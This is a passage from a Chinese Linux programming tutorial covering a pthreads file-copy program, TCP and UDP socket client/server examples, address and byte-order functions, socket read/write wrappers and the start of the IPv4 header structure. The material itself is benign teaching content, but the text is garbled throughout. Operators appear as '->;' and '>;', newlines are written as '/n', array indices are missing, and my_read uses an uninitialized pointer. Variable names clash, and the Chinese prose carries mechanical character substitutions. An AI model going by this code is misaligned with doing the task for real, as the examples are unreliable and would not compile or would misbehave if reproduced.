#include <dirent.h>;
#include <fcntl.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <sys/time.h>;
#define BUFFER 512
struct copy_file {
int infile;
int outfile;
};
void *copy(void *arg)
{
int infile,outfile;
int bytes_read,bytes_write,*bytes_copy_p;
char buffer[BUFFER],*buffer_p;
struct copy_file *file=(struct copy_file *)arg;
infile=file->;infile;
outfile=file->;outfile;
/*
由於線程退出時,全部的變量空間都要被釋放,因此咱們只好本身分配內存了 */
if((bytes_copy_p=(int *)malloc(sizeof(int)))==NULL) pthread_exit(NULL);
bytes_read=bytes_write=0;
*bytes_copy_p=0;
/*
還記得怎麼拷貝文件嗎 */
while((bytes_read=read(infile,buffer,BUFFER))!=0)
{
if((bytes_read==-1)&&(errno!=EINTR))break;
else if(bytes_read>;0)
{
buffer_p=buffer;
while((bytes_write=write(outfile,buffer_p,bytes_read))!=0)
{
if((bytes_write==-1)&&(errno!=EINTR))break;
else if(bytes_write==bytes_read)break;
else if(bytes_write>;0)
{
buffer_p+=bytes_write;
bytes_read-=bytes_write;
}
}
if(bytes_write==-1)break;
*bytes_copy_p+=bytes_read;
}
}
close(infile);
close(outfile);
pthread_exit(bytes_copy_p);
}
int main(int argc,char **argv)
{
pthread_t *thread;
struct copy_file *file;
int byte_copy,*byte_copy_p,num,i,j;
char filename[BUFFER];
struct dirent **namelist;
struct stat filestat;
/*
獲得當前路徑下面全部的文件(包含目錄)的個數 */
if((num=scandir(".",&namelist,0,alphasort))<0)
{
fprintf(stderr,"Get File Num Error:%s/n/a",strerror(errno));
exit(1);
}
/*
給線程分配空間,其實沒有必要這麼多的 */
if(((thread=(pthread_t *)malloc(sizeof(pthread_t)*num))==NULL)||
((file=(struct copy_file *)malloc(sizeof(struct copy_file)*num))==NULL)
)
{
fprintf(stderr,"Out Of Memory!/n/a");
exit(1);
}

for(i=0,j=0;i<num;i++)
{
memset(filename,'/0',BUFFER);
strcpy(filename,namelist
->;d_name);
if(stat(filename,&filestat)==-1)
{
fprintf(stderr,"Get File Information:%s/n/a",strerror(errno));
exit(1);
}
/* 咱們忽略目錄 */
if(!S_ISREG(filestat.st_mode))continue;
if((file[j].infile=open(filename,O_RDONLY))<0)
{
fprintf(stderr,"Open %s Error:%s/n/a",filename,strerror(errno));
continue;
}
strcat(filename,".bak");
if((file[j].outfile=open(filename,O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))
<0)
{
fprintf(stderr,"Creat %s Error:%s/n/a",filename,strerror(errno
));
continue;
}
/* 建立線程,進行文件拷貝 */
if(pthread_create(&thread[j],NULL,copy,(void *)&file[j])!=0)
fprintf(stderr,"Create Thread[%d] Error:%s/n/a",i,strerror(errno));
j++;
}
byte_copy=0;
for(i=0;i<j;i++)
{
/* 等待線程結束 */
if(pthread_join(thread,(void **)&byte_copy_p)!=0)
fprintf(stderr,"Thread[%d] Join Error:%s/n/a",
i,strerror(errno));
else
{
if(bytes_copy_p==NULL)continue;
printf("Thread[%d] Copy %d bytes/n/a",i,*byte_copy_p);
byte_copy+=*byte_copy_p;
/* 釋放咱們在copy函數裏面建立的內存 */
free(byte_copy_p);
}
}
printf("Total Copy Bytes %d/n/a",byte_copy);
free(thread);
free(file);
exit(0);
}
線程的介紹就到這裏了,關於線程的其餘資料能夠查看下面這寫連接.
Getting Started With POSIX Threads
The LinuxThreads library git

8)Linux程序設計入門--網絡編程

Linux系統的一個主要特色是他的網絡功能很是強大。隨着網絡的日益普及,基於網絡的
應用也將愈來愈多。 在這個網絡時代,掌握了Linux的網絡編程技術,將令每個人處
於不敗之地,學習Linux的網絡編程,可讓咱們真正的體會到網絡的魅力。 想成爲一
位真正的hacker,必須掌握網絡編程技術。
如今書店裏面已經有了許多關於Linux網絡編程方面的書籍,網絡上也有了許多關於
網絡編程方面的教材,你們均可以 去看一看的。在這裏我會和你們一塊兒來領會Linux
絡編程的奧妙,因爲我學習Linux的網絡編程也開始不久,因此我下面所說的確定會有錯
誤的, 還請你們指點出來,在這裏我先謝謝你們了。
在這一個章節裏面,我會和之前的幾個章節不一樣,在前面我都是歸納的說了一下,
從如今開始我會盡量的詳細的說明每個函數及其用法。好了讓咱們去領會Linux的偉
大的魅力吧!
開始進入網絡編程



網絡編程(1)

1. Linux
網絡知識介紹
1.1
客戶端程序和服務端程序
網絡程序和普通的程序有一個最大的區別是網絡程序是由兩個部分組成的--客戶端和服
務器端.
網絡程序是先有服務器程序啓動,等待客戶端的程序運行並創建鏈接.通常的來講是服務
端的程序 在一個端口上監聽,直到有一個客戶端的程序發來了請求.
1.2
經常使用的命令
因爲網絡程序是有兩個部分組成,因此在調試的時候比較麻煩,爲此咱們有必要知道一些
經常使用的網絡命令
netstat
命令netstat是用來顯示網絡的鏈接,路由表和接口統計等網絡的信息.netstat有許多的
選項 咱們經常使用的選項是 -an 用來顯示詳細的網絡狀態.至於其它的選項咱們能夠使用幫
助手冊得到詳細的狀況.
telnet
telnet
是一個用來遠程控制的程序,可是咱們徹底能夠用這個程序來調試咱們的服務端程
序的. 好比咱們的服務器程序在監聽8888端口,咱們能夠用telnet localhost 8888來查
看服務端的情況.
1.3 TCP/UDP
介紹
TCP(Transfer Control Protocol)
傳輸控制協議是一種面向鏈接的協議,當咱們的網絡程
序使用 這個協議的時候,網絡能夠保證咱們的客戶端和服務端的鏈接是可靠的,安全的.

UDP(User Datagram Protocol)
用戶數據報協議是一種非面向鏈接的協議,這種協議並不
能保證咱們 的網絡程序的鏈接是可靠的,因此咱們如今編寫的程序通常是採用TCP協議的
..

網絡編程(2

2.
初等網絡函數介紹(TCP
Linux
系統是經過提供套接字(socket)來進行網絡編程的.網絡程序經過socket和其它
幾個函數的調用,會返回一個 通信的文件描述符,咱們能夠將這個描述符當作普通的文件
的描述符來操做,這就是linux的設備無關性的 好處.咱們能夠經過向描述符讀寫操做實
現網絡之間的數據交流.
2.1 socket
int socket(int domain, int type,int protocol)
domain:
說明咱們網絡程序所在的主機採用的通信協族(AF_UNIXAF_INET). AF_UN
IX
只可以用於單一的Unix系統進程間通訊,AF_INET是針對Internet,於是能夠容許在
遠程 主機之間通訊(當咱們 man socket時發現 domain可選項是 PF_*而不是AF_*,由於
glibc
posix的實現 因此用PF代替了AF,不過咱們均可以使用的).
type:
咱們網絡程序所採用的通信協議(SOCK_STREAM,SOCK_DGRAM) SOCK_STREAM代表
咱們用的是TCP協議,這樣會提供按順序的,可靠,雙向,面向鏈接的比特流. SOCK_DGRAM
代表咱們用的是UDP協議,這樣只會提供定長的,不可靠,無鏈接的通訊.
protocol:
因爲咱們指定了type,因此這個地方咱們通常只要用0來代替就能夠了 sock
et
爲網絡通信作基本的準備.成功時返回文件描述符,失敗時返回-1,errno可知道出錯
的詳細狀況.
2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:
是由socket調用返回的文件描述符.
addrlen:
sockaddr結構的長度.
my_addr:
是一個指向sockaddr的指針. <linux/socket.h>;中有 sockaddr的定義
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不過因爲系統的兼容性,咱們通常不用這個頭文件,而使用另一個結構(struct sock
addr_in)
來代替.<linux/in.h>;中有sockaddr_in的定義
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
咱們主要使用Internet因此sin_family通常爲AF_INET,sin_addr設置爲INADDR_ANY
示能夠 和任何的主機通訊,sin_port是咱們要監聽的端口號.sin_zero[8]是用來填充的
.. bind
將本地的端口同socket返回的文件描述符捆綁在一塊兒.成功是返回0,失敗的狀況和
socket
同樣
2.3 listen
int listen(int sockfd,int backlog)
sockfd:
bind後的文件描述符.
backlog:
設置請求排隊的最大長度.當有多個客戶端程序和服務端相連時, 使用這個表示
能夠介紹的排隊長度. listen函數將bind的文件描述符變爲監聽套接字.返回的狀況和b
ind
同樣.
2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:
listen後的文件描述符.
addr,addrlen
是用來給客戶端的程序填寫的,服務器端只要傳遞指針就能夠了. bind,li
sten
accept是服務器端用的函數,accept調用時,服務器端的程序會一直阻塞到有一個
客戶程序發出了鏈接. accept成功時返回最後的服務器端的文件描述符,這個時候服務
器端能夠向該描述符寫信息了. 失敗時返回-1
2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket
返回的文件描述符.
serv_addr:
儲存了服務器端的鏈接信息.其中sin_add是服務端的地址
addrlen:serv_addr
的長度
connect
函數是客戶端用來同服務端鏈接的.成功時返回0,sockfd是同服務端通信的文件
描述符 失敗時返回-1.
2.6
實例
服務器端程序
/*******
服務器程序 (server.c) ************/
#include <stdlib.h>;
#include <stdio.h>;
#include <errno.h>;
#include <string.h>;
#include <netdb.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?/n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);
exit(1);
}
/*
服務器端開始創建socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s/n/a",strerror(errno));
exit(1);
}
/*
服務器端填充 sockaddr結構 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/*
捆綁sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==
-1)
{
fprintf(stderr,"Bind error:%s/n/a",strerror(errno));
exit(1);
}
/*
監聽sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s/n/a",strerror(errno));
exit(1);
}
while(1)
{
/*
服務器阻塞,直到客戶程序創建鏈接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size
))==-1)
{
fprintf(stderr,"Accept error:%s/n/a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s/n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s/n",strerror(errno));
exit(1);
}
/*
這個通信已經結束 */
close(new_fd);
/*
循環下一個 */
}
close(sockfd);
exit(0);
}
客戶端程序
/*******
客戶端程序 client.c ************/
#include <stdlib.h>;
#include <stdio.h>;
#include <errno.h>;
#include <string.h>;
#include <netdb.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error/n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);
exit(1);
}
/*
客戶程序開始創建 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s/a/n",strerror(errno));
exit(1);
}
/*
客戶程序填充服務端的資料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->;h_addr);
/*
客戶程序發起鏈接請求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)
)==-1)
{
fprintf(stderr,"Connect Error:%s/a/n",strerror(errno));
exit(1);
}
/*
鏈接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s/n",strerror(errno));
exit(1);
}
buffer[nbytes]='/0';
printf("I have received:%s/n",buffer);
/*
結束通信 */
close(sockfd);
exit(0);
}
MakeFile
這裏咱們使用GNU make實用程序來編譯. 關於make的詳細說明見 Make 使用介紹
######### Makefile ###########
all:server client
server:server.c
gcc $^ -o $@
client:client.c
gcc $^ -o $@
運行make後會產生兩個程序server(服務器端)client(客戶端) 先運行./server port
number& (portnumber
隨便取一個大於1204且不在/etc/services中出現的號碼 就用888
8
好了),而後運行 ./client localhost 8888 看看有什麼結果. (你也能夠用telnetn
etstat
試一試.) 上面是一個最簡單的網絡程序,不過是否是也有點煩.上面有許多函數我
們尚未解釋. 我會在下一章進行的詳細的說明.
2.7
總結
總的來講網絡程序是由兩個部分組成的--客戶端和服務器端.它們的創建步驟通常是:
服務器端
socket-->;bind-->;listen-->;accept
客戶端
socket-->;connect
--

網絡編程(3)

3.
服務器和客戶機的信息函數
這一章咱們來學習轉換和網絡方面的信息函數.
3.1
字節轉換函數
在網絡上面有着許多類型的機器,這些機器在表示數據的字節順序是不一樣的, 好比i386
片是低字節在內存地址的低端,高字節在高端,alpha芯片卻相反. 爲了統一塊兒來,Li
nux
下面,有專門的字節轉換函數.
unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在這四個轉換函數中,h 表明host, n 表明 network.s 表明short l 表明long 第一個函
數的意義是將本機器上的long數據轉化爲網絡上的long. 其餘幾個函數的意義也差很少
..
3.2 IP
和域名的轉換
在網絡上標誌一臺機器能夠用IP或者是用域名.那麼咱們怎麼去進行轉換呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
<netdb.h>;中有struct hostent的定義
struct hostent{
char *h_name; /*
主機的正式名稱 */
char *h_aliases; /*
主機的別名 */
int h_addrtype; /*
主機的地址類型 AF_INET*/
int h_length; /*
主機的地址長度 對於IP4 4字節32*/
char **h_addr_list; /*
主機的IP地址列表 */
}
#define h_addr h_addr_list[0] /*
主機的第一個IP地址*/
gethostbyname
能夠將機器名( linux.yessun.com)轉換爲一個結構指針.在這個結構裏
面儲存了域名的信息
gethostbyaddr
能夠將一個32位的IP地址(C 0A 80001)轉換爲結構指針.
這兩個函數失敗時返回NULL 且設置h_errno錯誤變量,調用h_strerror()能夠獲得詳細的
出錯信息
3.3
字符串的IP32位的IP轉換.
在網絡上面咱們用的IP都是數字加點(192.168.0.1)構成的, 而在struct in_addr結構中
用的是32位的IP, 咱們上面那個32IP(C 0A 80001)是的192.168.0.1 爲了轉換咱們能夠
使用下面兩個函數
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函數裏面 a 表明 ascii n 表明network.第一個函數表示將a.b.c.dIP轉換爲32位的I
P,
存儲在 inp指針裏面.第二個是將32IP轉換爲a.b.c.d的格式.
3.4
服務信息函數
在網絡程序裏面咱們有時候須要知道端口.IP和服務信息.這個時候咱們能夠使用如下幾
個函數
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /*
正式服務名 */
char **s_aliases; /*
別名列表 */
int s_port; /*
端口號 */
char *s_proto; /*
使用的協議 */
}
通常咱們不多用這幾個函數.對應客戶端,當咱們要獲得鏈接的端口號時在connect調用成
功後使用可獲得 系統分配的端口號.對於服務端,咱們用INADDR_ANY填充後,爲了獲得連
接的IP咱們能夠在accept調用成功後 使用而獲得IP地址.
在網絡上有許多的默認端口和服務,好比端口21ftp80對應WWW.爲了獲得指定的端口號
的服務 咱們能夠調用第四個函數,相反爲了獲得端口號能夠調用第三個函數.
3.5
一個例子
#include <netdb.h>;
#include <stdio.h>;
#include <stdlib.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip../n/a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/*
這裏咱們假設是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s/n",*argv);
}
else
{
/*
失敗,難道是域名?*/
host=gethostbyname(*argv); printf("Address information

of host %s/n",*argv);
}
if(host==NULL)
{
/*
都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s/n",*arg
v);
continue;
}
printf("Official host name %s/n",host->;h_name);
printf("Name aliases:");
for(alias=host->;h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("/nIp address:");
for(alias=host->;h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在這個例子裏面,爲了判斷用戶輸入的是IP仍是域名咱們調用了兩個函數,第一次咱們假
設輸入的是IP因此調用inet_aton, 失敗的時候,再調用gethostbyname而獲得信息.
--

網絡編程(4)

4.
完整的讀寫函數
一旦咱們創建了鏈接,咱們的下一步就是進行通訊了.Linux下面把咱們前面創建的通道
當作是文件描述符,這樣服務器端和客戶端進行通訊時候,只要往文件描述符裏面讀寫東
西了. 就象咱們往文件讀寫同樣.
4.1
寫函數write
ssize_t write(int fd,const void *buf,size_t nbytes)
write
函數將buf中的nbytes字節內容寫入文件描述符fd.成功時返回寫的字節數.失敗時
返回-1. 並設置errno變量. 在網絡程序中,當咱們向套接字文件描述符寫時有倆種可能
..
1)write
的返回值大於0,表示寫了部分或者是所有的數據.
2)
返回的值小於0,此時出現了錯誤.咱們要根據錯誤類型來處理.
若是錯誤爲EINTR表示在寫的時候出現了中斷錯誤.
若是爲EPIPE表示網絡鏈接出現了問題(對方已經關閉了鏈接).
爲了處理以上的狀況,咱們本身編寫一個寫函數來處理這幾種狀況.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>;0)
{
/*
開始寫*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /*
出錯了*/
{
if(errno==EINTR) /*
中斷錯誤 咱們繼續寫*/
written_bytes=0;
else /*
其餘錯誤 沒有辦法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /*
從剩下的地方繼續寫 */
}
return(0);
}
4.2
讀函數read
ssize_t read(int fd,void *buf,size_t nbyte) read
函數是負責從fd中讀取內容.當讀
成功時,read返回實際所讀的字節數,若是返回的值是0 表示已經讀到文件的結束了,小於
0
表示出現了錯誤.若是錯誤爲EINTR說明讀是由中斷引發的, 若是是ECONNREST表示網絡
鏈接出了問題. 和上面同樣,咱們也寫一個本身的讀函數.
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>;0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3
數據的傳遞
有了上面的兩個函數,咱們就能夠向客戶端或者是服務端傳遞數據了.好比咱們要傳遞一
個結構.能夠使用以下方式
/*
客戶端向服務端寫 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/*
服務端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在網絡上傳遞數據時咱們通常都是把數據轉化爲char類型的數據傳遞.接收的時候也是一
樣的 注意的是咱們沒有必要在網絡上傳遞指針(由於傳遞指針是沒有任何意義的,咱們必
須傳遞指針所指向的內容)
--

網絡編程(5)

5.
用戶數據報發送
咱們前面已經學習網絡程序的一個很大的部分,由這個部分的知識,咱們實際上能夠寫出
大部分的基於TCP協議的網絡程序了.如今在Linux下的大部分程序都是用咱們上面所學的
知識來寫的.咱們能夠去找一些源程序來參考一下.這一章,咱們簡單的學習一下基於UDP
協議的網絡程序.
5.1
兩個經常使用的函數
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka
ddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s
ockaddr *to int tolen)
sockfd,buf,len
的意義和read,write同樣,分別表示套接字描述符,發送或接收的緩衝區
及大小.recvfrom負責從sockfd接收數據,若是from不是NULL,那麼在from裏面存儲了信息
來源的狀況,若是對信息的來源不感興趣,能夠將fromfromlen設置爲NULL.sendto負責
to發送信息.此時在to裏面存儲了收信息方的詳細資料.
5.2
一個實例
/*
服務端程序 server.c */
#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <stdio.h>;
#include <errno.h>;
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /*
從網絡上度,寫到網絡上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/*
顯示服務端已經收到了信息 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0
)
{
fprintf(stderr,"Bind Error:%s/n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
/*
客戶端程序 */
#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <errno.h>;
#include <stdio.h>;
#include <unistd.h>;
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /*
從鍵盤讀入,寫到服務端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/*
從網絡上讀,寫到屏幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n",strerror(errno));
exit(1);
}
/*
填充服務端的資料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s/n",strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
###########
編譯文件 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
上面的實例若是你們編譯運行的話,會發現一個小問題的. 在我機器上面,我先運行服務
,而後運行客戶端.在客戶端輸入信息,發送到服務端, 在服務端顯示已經收到信息,
是客戶端沒有反映.再運行一個客戶端,向服務端發出信息 卻能夠獲得反應.我想多是
第一個客戶端已經阻塞了.若是誰知道怎麼解決的話,請告訴我,謝謝. 因爲UDP協議是不
保證可靠接收數據的要求,因此咱們在發送信息的時候,系統並不可以保證咱們發出的信
息都正確無誤的到達目的地.通常的來講咱們在編寫網絡程序的時候都是選用TCP協議的
--

網絡編程(6)

6.
高級套接字函數
在前面的幾個部分裏面,咱們已經學會了怎麼樣從網絡上讀寫信息了.前面的一些函數(r
ead,write)
是網絡程序裏面最基本的函數.也是最原始的通訊函數.在這一章裏面,咱們一
起來學習網絡通訊的高級函數.這一章咱們學習另外幾個讀寫函數.
6.1 recv
send
recv
send函數提供了和readwrite差很少的功能.不過它們提供 了第四個參數來控制
讀寫操做.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三個參數和read,write同樣,第四個參數能夠是0或者是如下的組合
_______________________________________________________________
| MSG_DONTROUTE |
不查找路由表 |
| MSG_OOB |
接受或者發送帶外數據 |
| MSG_PEEK |
查看數據,並不從系統緩衝區移走數據 |
| MSG_WAITALL |
等待全部數據 |
|--------------------------------------------------------------|
MSG_DONTROUTE:
send函數使用的標誌.這個標誌告訴IP協議.目的主機在本地網絡上面
,
沒有必要查找路由表.這個標誌通常用網絡診斷和路由程序裏面.
MSG_OOB:
表示能夠接收和發送帶外的數據.關於帶外數據咱們之後會解釋的.
MSG_PEEK:
recv函數的使用標誌,表示只是從系統緩衝區中讀取內容,而不清楚系統緩衝
區的內容.這樣下次讀的時候,仍然是同樣的內容.通常在有多個進程讀寫數據時能夠使用
這個標誌.
MSG_WAITALL
recv函數的使用標誌,表示等到全部的信息到達時才返回.使用這個標誌的
時候recv回一直阻塞,直到指定的條件知足,或者是發生了錯誤. 1)當讀到了指定的字節
,函數正常返回.返回值等於len 2)當讀到了文件的結尾時,函數正常返回.返回值小於
len 3)
當操做發生錯誤時,返回-1,且設置錯誤爲相應的錯誤號(errno)
若是flags0,則和read,write同樣的操做.還有其它的幾個選項,不過咱們實際上用的很
,能夠查看 Linux Programmer's Manual獲得詳細解釋.
6.2 recvfrom
sendto
這兩個函數通常用在非套接字的網絡程序當中(UDP),咱們已經在前面學會了.
6.3 recvmsg
sendmsg
recvmsg
sendmsg能夠實現前面全部的讀寫函數的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /*
緩衝區開始的地址 */
size_t iov_len; /*
緩衝區的長度 */
}
msg_name
msg_namelen當套接字是非面向鏈接時(UDP),它們存儲接收和發送方的地址
信息.msg_name其實是一個指向struct sockaddr的指針,msg_name是結構的長度.當套
接字是面向鏈接時,這兩個值應設爲NULL. msg_iovmsg_iovlen指出接受和發送的緩衝
區內容.msg_iov是一個結構指針,msg_iovlen指出這個結構數組的大小. msg_control
msg_controllen
這兩個變量是用來接收和發送控制數據時的 msg_flags指定接受和發送
的操做選項.recv,send的選項同樣
6.4
套接字的關閉
關閉套接字有兩個函數closeshutdown.close時和咱們關閉文件同樣.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP
鏈接是雙向的(是可讀寫的),當咱們使用close,會把讀寫通道都關閉,有時侯咱們希
望只關閉一個方向,這個時候咱們能夠使用shutdown.針對不一樣的howto,系統回採起不一樣
的關閉方式.
howto=0
這個時候系統會關閉讀通道.可是能夠繼續往接字描述符寫.
howto=1
關閉寫通道,和上面相反,着時候就只能夠讀了.
howto=2
關閉讀寫通道,close同樣 在多進程程序裏面,若是有幾個子進程共享一個套接
字時,若是咱們使用shutdown, 那麼全部的子進程都不可以操做了,這個時候咱們只可以
使用close來關閉子進程的套接字描述符.



網絡編程(7)

7. TCP/IP
協議
你也許據說過TCP/IP協議,那麼你知道到底什麼是TCP,什麼是IP?在這一章裏面,咱們一
起來學習這個目前網絡上用最普遍的協議.
7.1
網絡傳輸分層
若是你考過計算機等級考試,那麼你就應該已經知道了網絡傳輸分層這個概念.在網絡上
,
人們爲了傳輸數據時的方便,把網絡的傳輸分爲7個層次.分別是:應用層,表示層,會話層
,
傳輸層,網絡層,數據鏈路層和物理層.分好了層之後,傳輸數據時,上一層若是要數據的
,就能夠直接向下一層要了,而沒必要要管數據傳輸的細節.下一層也只向它的上一層提供
數據,而不要去管其它東西了.若是你不想考試,你沒有必要去記這些東西的.只要知道是
分層的,並且各層的做用不一樣.
7.2 IP
協議
IP
協議是在網絡層的協議.它主要完成數據包的發送做用. 下面這個表是IP4的數據包格

0 4 8 16 32
--------------------------------------------------
|
版本 |首部長度|服務類型| 數據包總長 |
--------------------------------------------------
|
標識 |DF |MF| 碎片偏移 |
--------------------------------------------------
|
生存時間 | 協議 | 首部較驗和 |
------------------------------------------------
|
IP地址 |
------------------------------------------------
|
目的IP地址 |
-------------------------------------------------
|
選項 |
=================================================
|
數據 |
-------------------------------------------------
下面咱們看一看IP的結構定義<netinet/ip.h>;
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
